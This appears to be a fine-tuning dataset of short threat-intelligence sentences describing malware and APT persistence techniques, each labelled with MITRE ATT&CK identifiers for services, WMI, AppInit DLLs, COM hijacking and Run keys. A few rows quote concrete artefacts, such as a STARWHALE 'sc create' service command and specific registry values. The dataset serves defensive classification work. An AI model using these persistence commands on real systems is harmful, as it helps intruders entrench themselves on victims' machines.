"MoonWind installs itself as a new service with automatic startup to establish persistence. The service checks every 60 seconds to determine if the malware is running; if not, it will spawn a new instance.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Naid creates a new service to establish.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Nebulae can create a service to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Nidiran can create a new service named msamger (Microsoft Security Accounts Manager).,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
One variant of BlackEnergy creates a new service using either a hard-coded or randomly generated name.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
PROMETHIUM has created new services and modified existing services for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Pandora has the ability to gain system privileges through Windows services.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
PingPull has the ability to install itself as a service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"PlugX can be added as a service to establish persistence. PlugX also has a module to change service configurations as well as start, control, and delete services.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"PowerSploit contains a collection of Privesc-PowerUp modules that can discover and replace/modify service binaries, paths, and configs.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"PsExec can leverage Windows services to escalate privileges from administrator to SYSTEM with the ""-s"" argument.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
RDAT has created a service when it is installed on the victim machine.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Ragnar Locker has used sc.exe to create a new service for the VirtualBox driver.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
RawPOS installs itself as a service to maintain persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Reaver installs itself as a new service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"SLOTHFULMEDIA has created a service on victim machines named ""TaskFrame"" to establish persistence.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"STARWHALE has the ability to create the following Windows service to establish persistence on an infected host: `sc create Windowscarpstss binpath= ""cmd.exe /c cscript.exe c:\\windows\\system32\\w7_1.wsf humpback_whale"" start= ""auto"" obj= ""LocalSystem""`.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
SUGARUSH has created a service named `Service1` for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Several Lazarus Group malware families install themselves as new services.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"Shamoon creates a new service named “ntssrv” to execute the payload. Newer versions create the ""MaintenaceSrv"" and ""hdv_725x"" services.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
ShimRat has installed a Windows service to maintain persistence on victim machines.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Some InnaputRAT variants create a new Windows service to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"Some Sakula samples install themselves as services for persistence by calling WinExec with the ""net start"" argument.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
StreamEx establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Stuxnet uses a driver registered as a boot start service as the main load-point.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"TEARDROP ran as a Windows service from the ""c:\windows\syswow64"" folder.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
TYPEFRAME variants can add malicious DLL modules as new services.TYPEFRAME can also delete services from the victim’s machine.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
The Exaramel for Windows dropper creates and starts a Windows service named wsmprovav with the description “Windows Check AV.”,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
ThreatNeedle can run in memory and register its payload as a Windows service.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
TinyZBot can install as a Windows service for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"To establish persistence, Okrum can install itself as a new service named NtmSsvc.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
TrickBot establishes persistence by creating an autostart service that allows it to run whenever the machine boots.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Tropic Trooper has installed a service pointing to a malicious DLL dropped to disk.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"Volgmer installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry. Some Volgmer variants also install .dll files as services with names generated by a list of hard-coded strings.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
WastedLocker created and established a service that runs until the encryption process is complete.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"Wingbird uses services.exe to register a new autostart service named ""Audit Service"" using a copy of the local lsass.exe file.","['T1543.003 - Create or Modify System Process: Windows Service', 'T1569.002 - System Services: Service Execution']",fine_tune
Winnti for Windows sets its DLL file as a new service in the Registry to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Wizard Spider has installed TrickBot as a service named ControlServiceA in order to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
ZLib creates Registry keys to allow itself to run as various services.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
ZxShell can create a new service using the service parser function ProcessScCommand.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
gh0st RAT can create a new service to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
hcdLoader installs itself as a service for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"AppleJeus has placed a plist file within the ""LaunchDaemons"" folder and launched it manually.",['T1543.004 - Create or Modify System Process: Launch Daemon'],fine_tune
Bundlore can persist via a LaunchDaemon.,['T1543.004 - Create or Modify System Process: Launch Daemon'],fine_tune
Dacls can establish persistence via a Launch Daemon.,['T1543.004 - Create or Modify System Process: Launch Daemon'],fine_tune
"If running with ""root"" permissions, OSX_OCEANLOTUS.D can create a persistence file in the folder ""/Library/LaunchDaemons"".",['T1543.004 - Create or Modify System Process: Launch Daemon'],fine_tune
"When running with root privileges after a Launch Agent is installed, ThiefQuest installs a plist file to the ""/Library/LaunchDaemons/"" folder with the ""RunAtLoad"" key set to ""true"" establishing persistence as a Launch Daemon.",['T1543.004 - Create or Modify System Process: Launch Daemon'],fine_tune
"XCSSET uses the ssh launchdaemon to elevate privileges, bypass system controls, and enable remote access to the victim.",['T1543.004 - Create or Modify System Process: Launch Daemon'],fine_tune
Kimsuky has a HWP document stealer module which changes the default program association in the registry to open HWP documents.,['T1546.001 - Event Triggered Execution: Change Default File Association'],fine_tune
SILENTTRINITY can conduct an image hijack of an `.msc` file extension as part of its UAC bypass process.,['T1546.001 - Event Triggered Execution: Change Default File Association'],fine_tune
Gazer can establish persistence through the system screensaver by configuring it to execute the malware.,['T1546.002 - Event Triggered Execution: Screensaver'],fine_tune
APT29 has used WMI event subscriptions for persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
APT33 has attempted to use WMI event subscriptions to establish persistence on compromised hosts.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
Blue Mockingbird has used mofcomp.exe to establish WMI Event Subscription persistence mechanisms configured from a *.mof file.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
Leviathan has used WMI for persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
Mustang Panda's custom ORat tool uses a WMI event consumer to maintain persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
POSHSPY uses a WMI event subscription to establish persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
POWERTON can use WMI for persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
SILENTTRINITY can create a WMI Event to execute a payload for persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
SeaDuke uses an event filter in WMI code to execute a previously dropped executable shortly after system startup.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
TrailBlazer has the ability to use WMI for persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
Turla has used WMI event filters and consumers to establish persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
UNC2452 used WMI event subscriptions for persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
adbupd can use a WMI script to achieve persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
"Green Lambert can establish persistence on a compromised host through modifying the `profile`, `login`, and run command (rc) files associated with the `bash`, `csh`, and `tcsh` shells.",['T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc'],fine_tune
Linux Rabbit maintains persistence on an infected machine through rc.local and .bashrc files.,['T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc'],fine_tune
"APT29 used sticky-keys to obtain unauthenticated, privileged console access.",['T1546.008 - Event Triggered Execution: Accessibility Features'],fine_tune
"APT3 replaces the Sticky Keys binary ""C:\Windows\System32\sethc.exe"" for persistence.",['T1546.008 - Event Triggered Execution: Accessibility Features'],fine_tune
APT41 leveraged sticky keys to establish persistence.,['T1546.008 - Event Triggered Execution: Accessibility Features'],fine_tune
"Empire can leverage WMI debugging to remotely replace binaries like sethc.exe, Utilman.exe, and Magnify.exe with cmd.exe.",['T1546.008 - Event Triggered Execution: Accessibility Features'],fine_tune
"Honeybee's service-based DLL implant can execute a downloaded file with parameters specified using ""CreateProcessAsUser"".",['T1546.009 - Event Triggered Execution: AppCert DLLs'],fine_tune
PUNCHBUGGY can establish using a AppCertDLLs Registry key.,['T1546.009 - Event Triggered Execution: AppCert DLLs'],fine_tune
"APT39 has used malware to set ""LoadAppInit_DLLs"" in the Registry key ""SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"" in order to establish persistence.",['T1546.010 - Event Triggered Execution: AppInit DLLs'],fine_tune
"If a victim meets certain criteria, T9000 uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll. It does this by creating the following Registry keys: ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs – %APPDATA%\Intel\ResN32.dll"" and ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs – 0x1"".",['T1546.010 - Event Triggered Execution: AppInit DLLs'],fine_tune
Ramsay can insert itself into the address space of other applications using the AppInit DLL Registry key.,['T1546.010 - Event Triggered Execution: AppInit DLLs'],fine_tune
"Some variants of Cherry Picker use AppInit_DLLs to achieve persistence by creating the following Registry key: ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows ""AppInit_DLLs""=""pserver32.dll""""",['T1546.010 - Event Triggered Execution: AppInit DLLs'],fine_tune
Pillowmint has used a malicious shim database to maintain persistence.,['T1546.011 - Event Triggered Execution: Application Shimming'],fine_tune
"ShimRat has installed shim databases in the ""AppPatch"" folder.",['T1546.011 - Event Triggered Execution: Application Shimming'],fine_tune
SDBbot has the ability to use image file execution options for persistence if it detects it is running with admin privileges on a Windows version newer than Windows 7.,['T1546.012 - Event Triggered Execution: Image File Execution Options Injection'],fine_tune
"TEMP.Veles has modified and added entries within ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"" to maintain persistence.",['T1546.012 - Event Triggered Execution: Image File Execution Options Injection'],fine_tune
Turla has used PowerShell profiles to maintain persistence on an infected machine.,['T1546.013 - Event Triggered Execution: PowerShell Profile'],fine_tune
"ComRAT samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location ""HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32"".",['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],fine_tune
KONNI has modified ComSysApp service to load the malicious DLL payload.,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],fine_tune
Mosquito uses COM hijacking as a method of persistence.,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],fine_tune
"SILENTTRINITY can add a CLSID key for payload execution through `Registry.CurrentUser.CreateSubKey(""Software\\Classes\\CLSID\\{"" + clsid + ""}\\InProcServer32"")`.",['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],fine_tune
"BoxCaon established persistence by setting the ""HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load"" registry key to point to its executable.",['T1547 - Boot or Logon Autostart Execution'],fine_tune
Dtrack’s RAT makes a persistent target file with auto execution on the host start.,['T1547 - Boot or Logon Autostart Execution'],fine_tune
LoudMiner can automatically launch at startup if the AutoStart option is enabled in the VBoxVmService configuration file.,['T1547 - Boot or Logon Autostart Execution'],fine_tune
"Misdat has created registry keys for persistence, including `HKCU\Software\dnimtsoleht\StubPath`, `HKCU\Software\snimtsOleht\StubPath`, `HKCU\Software\Backtsaleht\StubPath`, `HKLM\SOFTWARE\Microsoft\Active Setup\Installed. Components\{3bf41072-b2b1-21c8-b5c1-bd56d32fbda7}`, and `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{3ef41072-a2f1-21c8-c5c1-70c2c3bc7905}`.",['T1547 - Boot or Logon Autostart Execution'],fine_tune
"xCaon has added persistence via the Registry key ""HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load"" which causes the malware to run each time any user logs in.",['T1547 - Boot or Logon Autostart Execution'],fine_tune
"A Threat Group-3390 tool can add the binary’s path to the Registry key ""Software\Microsoft\Windows\CurrentVersion\Run"" to add persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"A Turla Javascript backdoor added a local_update_check value under the Registry key ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" to establish persistence. Additionally, a Turla custom executable containing Metasploit shellcode is saved to the Startup folder to gain persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"A dropper used by Putter Panda installs itself into the ASEP Registry key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" with a value named McUpdate.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
A version of KONNI has dropped a Windows shortcut into the Startup folder to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"ADVSTORESHELL achieves persistence by adding itself to the ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" Registry key.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"APT18 establishes persistence via the ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" key.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
APT28 has deployed malware that has copied itself to the startup directory for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
APT29 added Registry Run keys to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
APT3 places scripts in the startup folder for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"APT32 established persistence using Registry Run keys, both to execute PowerShell and VBS scripts as well as to execute their backdoor directly.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"APT33 has deployed a tool known as DarkComet to the Startup folder of a victim, and used Registry run keys to gain persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"APT37's has added persistence via the Registry key ""HKCU\Software\Microsoft\CurrentVersion\Run\"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
APT39 has maintained persistence using the startup folder.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"APT41 created and modified startup files for persistence. APT41 added a registry key in ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"" to establish persistence for Cobalt Strike.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Agent Tesla can add itself to the Registry as a startup program to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"An APT19 HTTP malware variant establishes persistence by setting the Registry key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Debug Tools-%LOCALAPPDATA%\"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"AppleSeed has the ability to create the Registry key name ""EstsoftAutoUpdate"" at ""HKCU\Software\Microsoft/Windows\CurrentVersion\RunOnce"" to establish persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Aria-body has established persistence via the Startup folder or Run Registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Astaroth creates a startup item for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"AuTo Stealer can place malicious executables in a victim's AutoRun registry key or StartUp directory, depending on the AV product installed, to maintain persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Avaddon uses registry run keys for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
BACKSPACE achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
BADNEWS installs a registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"BBSRAT has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the Registry Run key location ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssonsvr.exe"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
BRONZE BUTLER has used a batch script that adds a Registry Run key to establish malware persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
BabyShark has added a Registry key to ensure all future macros are enabled for Microsoft Word and Excel as well as for additional persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Backdoor.Oldrea adds Registry Run keys to achieve persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Bazar can create or add files to Registry Run Keys to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"BitPaymer has set the run key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" for persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"BoomBox can establish persistence by writing the Registry value ""MicroNativeCacheSvc"" to ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Briba creates run key Registry entries pointing to malicious DLLs dropped to disk.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Cardinal RAT establishes Persistence by setting the  ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load"" Registry key to point to its executable.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
ChChes establishes persistence by adding a Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Chaes has added persistence via the Registry key ""software\microsoft\windows\currentversion\run\microsoft windows html help"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Clambling can establish persistence by adding a Registry run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Cobalt Group has used Registry Run keys for persistence. The group has also set a Startup path to launch the PowerShell shell command and download Cobalt Strike.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Cobian RAT creates an autostart Registry key to ensure persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Conficker adds Registry Run keys to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Confucius has dropped malicious files into the startup folder `%AppData%\Microsoft\Windows\Start Menu\Programs\Startup` on a compromised host in order to maintain persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Crimson can add Registry run keys for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
CrossRAT uses run keys for persistence on Windows,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Dark Caracal's version of Bandook adds a registry key to ""HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run"" for persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Darkhotel has been known to establish persistence by adding programs to the Run Registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
DnsSystem can write itself to the Startup folder to gain persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Dragonfly has added the registry value ntdll to the Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"During Operation Sharpshooter, a first-stage downloader installed Rising Sun to `%Startup%\mssync.exe` on a compromised host.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"DustySky achieves persistence by creating a Registry entry in ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
EVILNUM can achieve persistence through the Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Emotet has been observed adding the downloaded payload to the ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"" key to maintain persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"EvilBunny has created Registry keys for persistence in ""[HKLM|HKCU]\…\CurrentVersion\Run"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
EvilGrab adds a Registry Run key for ctfmon.exe to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
FELIXROOT adds a shortcut file to the startup folder for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
FIN10 has established persistence by using the Registry option in PowerShell Empire to add a Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
FIN6 has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
FLASHFLOOD achieves persistence by making an entry in the Registry's Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"FatDuke has used ""HKLM\SOFTWARE\Microsoft\CurrentVersion\Run"" to establish persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"FinFisher establishes persistence by creating the Registry key ""HKCU\Software\Microsoft\Windows\Run"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Final1stspy creates a Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
FunnyDream can use a Registry Run Key and the Startup folder to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"GRIFFON has used a persistence module that stores the implant inside the Registry, which executes at logon.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Gamaredon Group tools have registered Run keys in the registry to give malicious VBS files persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Gazer can establish persistence by creating a .lnk file in the Start menu.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Gelsemium can set persistence with a Registry run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Gold Dragon establishes persistence in the Startup folder.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Grandoreiro can use run keys and create link files in the startup folder for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
GrimAgent can set persistence with a Registry run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"HTTPBrowser has established persistence by setting the ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" key value for ""wdm"" to the path of the executable. It has also used the Registry entry ""HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run vpdn “%ALLUSERPROFILE%\%APPDATA%\vpdn\VPDN_LU.exe”"" to establish persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Heyoka Backdoor can establish persistence with the auto start function including using the value `EverNoteTrayUService`.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Hi-Zor creates a Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Honeybee uses a batch file that configures the ComSysApp service to autostart in order to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Inception has maintained persistence by modifying Registry run key value 
 ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
JCry has created payloads in the Startup directory to maintain persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
JHUHUGIT has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
KOCTOPUS can set the AutoRun Registry key with a PowerShell command.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Kasidet creates a Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Kazuar adds a sub-key under several Registry run keys.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Kimsuky has placed scripts in the startup folder for persistence and modified the `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce` Registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Koadic has added persistence to the `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` Registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Lazarus Group has maintained persistence by loading malicious code into a startup folder or by adding a Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
LazyScripter has achieved persistence via writing a PowerShell script to the autorun registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Leviathan has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
"LoJax has modified the Registry key ""‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute’"" from ""‘autocheck autochk *’"" to ""‘autocheck autoche *’"" in order to execute its payload during Windows startup.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
LookBack sets up a Registry Run key to establish a persistence mechanism.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Lucifer can persist by setting Registry key values ""HKLM\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic"" and ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
MCMD can use Registry Run Keys for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Machete used the startup folder for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
MarkiRAT can drop its payload into the Startup directory to ensure it automatically runs when the compromised system is started.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Maze has created a file named ""startup_vrun.bat"" in the Startup folder of a virtual machine to establish persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Mivast creates the following Registry entry: ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Micromedia"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Mongall can establish persistence with the auto start function including using the value `EverNoteTrayUService`.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
